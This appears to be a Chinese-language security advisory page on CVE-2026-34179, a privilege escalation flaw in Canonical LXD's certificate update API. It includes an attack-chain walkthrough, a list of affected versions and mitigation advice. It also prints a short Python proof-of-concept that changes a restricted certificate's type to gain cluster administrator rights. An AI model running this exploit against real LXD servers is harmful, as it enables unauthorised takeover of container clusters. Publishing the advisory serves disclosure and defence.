IPBUF安全漏洞报告
English
CVE-2026-34179 CVSS 9.1 严重

CVE-2026-34179 Canonical LXD权限提升漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-34179
漏洞类型
权限提升
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Canonical LXD

相关标签

权限提升LXD容器安全逻辑漏洞CVE-2026-34179Canonical

漏洞概述

Canonical LXD 4.12 至 6.7 版本中存在严重的权限提升漏洞。该漏洞源于 lxd/certificates.go 文件中的 doCertificateUpdate 函数在处理针对 /1.0/certificates/{fingerprint} 端点的 PUT/PATCH 请求时,未对受限 TLS 证书用户的 Type 字段进行严格验证。这使得经过身份认证的远程攻击者能够通过修改证书类型字段,将自身权限提升至集群管理员级别,从而完全控制 LXD 集群,造成严重的安全风险。

技术细节

该漏洞的核心在于 LXD 处理证书更新时的逻辑缺陷。在正常业务逻辑中,受限 TLS 证书用户应当仅拥有有限的操作权限,且无法自行修改证书的核心属性。然而,在受影响版本中,doCertificateUpdate 函数仅验证了请求者是否为证书的所有者,却未对请求体中的 Type 字段进行变更校验。攻击者首先需要拥有一个受限的 TLS 证书(满足 CVSS 中的 PR:H 要求),然后向 API 端点发送精心构造的 PUT 或 PATCH 请求,将证书的 Type 字段从受限类型更改为完全信任类型。由于服务端缺乏有效的二次校验,LXD 接受了此更新并重新加载证书配置,导致攻击者立即获得集群管理员权限,进而可能导致容器逃逸、敏感数据泄露或集群被完全接管。

攻击链分析

STEP 1
1. 获取初始访问
攻击者获得一个受限的 TLS 证书,该证书允许访问 LXD API 但具有受限的操作权限。
STEP 2
2. 构造恶意请求
攻击者分析 LXD API,发现证书更新接口存在校验漏洞,并构造包含恶意 Type 字段的 PUT/PATCH 请求。
STEP 3
3. 发送提权请求
攻击者向 /1.0/certificates/{fingerprint} 端点发送请求,将自身证书的类型从 restricted 修改为 client 或 admin。
STEP 4
4. 服务端处理漏洞
LXD 服务端的 doCertificateUpdate 函数处理请求,未验证 Type 字段的修改权限,直接更新证书配置。
STEP 5
5. 获得管理员权限
证书配置更新后,攻击者利用新的高权限证书重新认证,成功获得集群管理员权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target LXD server URL TARGET_URL = "https://<LXD_IP>:8443" # Fingerprint of the attacker's restricted certificate CERT_FINGERPRINT = "<attacker_cert_fingerprint>" # Path to the attacker's client certificate and key CLIENT_CERT = "/path/to/client.crt" CLIENT_KEY = "/path/to/client.key" # The malicious payload to escalate privileges by changing the certificate type # In LXD, Type 0 is usually 'client' (full trust), Type 3 might be restricted depending on config. # The goal is to remove the restriction. payload = { "type": "client" # Escalating from restricted to full client/admin rights } endpoint = f"{TARGET_URL}/1.0/certificates/{CERT_FINGERPRINT}" # Sending the PUT request to update the certificate response = requests.put( endpoint, json=payload, cert=(CLIENT_CERT, CLIENT_KEY), verify=False # Ignore SSL verification for PoC purposes ) if response.status_code == 200: print("[+] Privilege escalation successful! Certificate type updated.") else: print(f"[-] Failed to escalate privileges. Status code: {response.status_code}") print(response.text)

影响范围

Canonical LXD 4.12
Canonical LXD 4.13
Canonical LXD 5.0
Canonical LXD 5.1
Canonical LXD 5.2
Canonical LXD 5.3
Canonical LXD 5.4
Canonical LXD 5.5
Canonical LXD 5.6
Canonical LXD 5.7
Canonical LXD 5.8
Canonical LXD 5.9
Canonical LXD 5.10
Canonical LXD 5.11
Canonical LXD 5.12
Canonical LXD 5.13
Canonical LXD 5.14
Canonical LXD 5.15
Canonical LXD 5.16
Canonical LXD 5.17
Canonical LXD 5.18
Canonical LXD 5.19
Canonical LXD 5.20
Canonical LXD 5.21
Canonical LXD 6.0
Canonical LXD 6.1
Canonical LXD 6.2
Canonical LXD 6.3
Canonical LXD 6.4
Canonical LXD 6.5
Canonical LXD 6.6
Canonical LXD 6.7

防御指南

临时缓解措施
如果无法立即升级,建议暂时限制对 LXD API 端口(默认为 8443)的网络访问,仅允许受信任的管理 IP 连接。同时,应密切监控 LXD 审计日志,留意针对 /1.0/certificates/ 端点的异常 PUT 或 PATCH 请求,一旦发现异常修改行为,应立即撤销相关证书并调查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表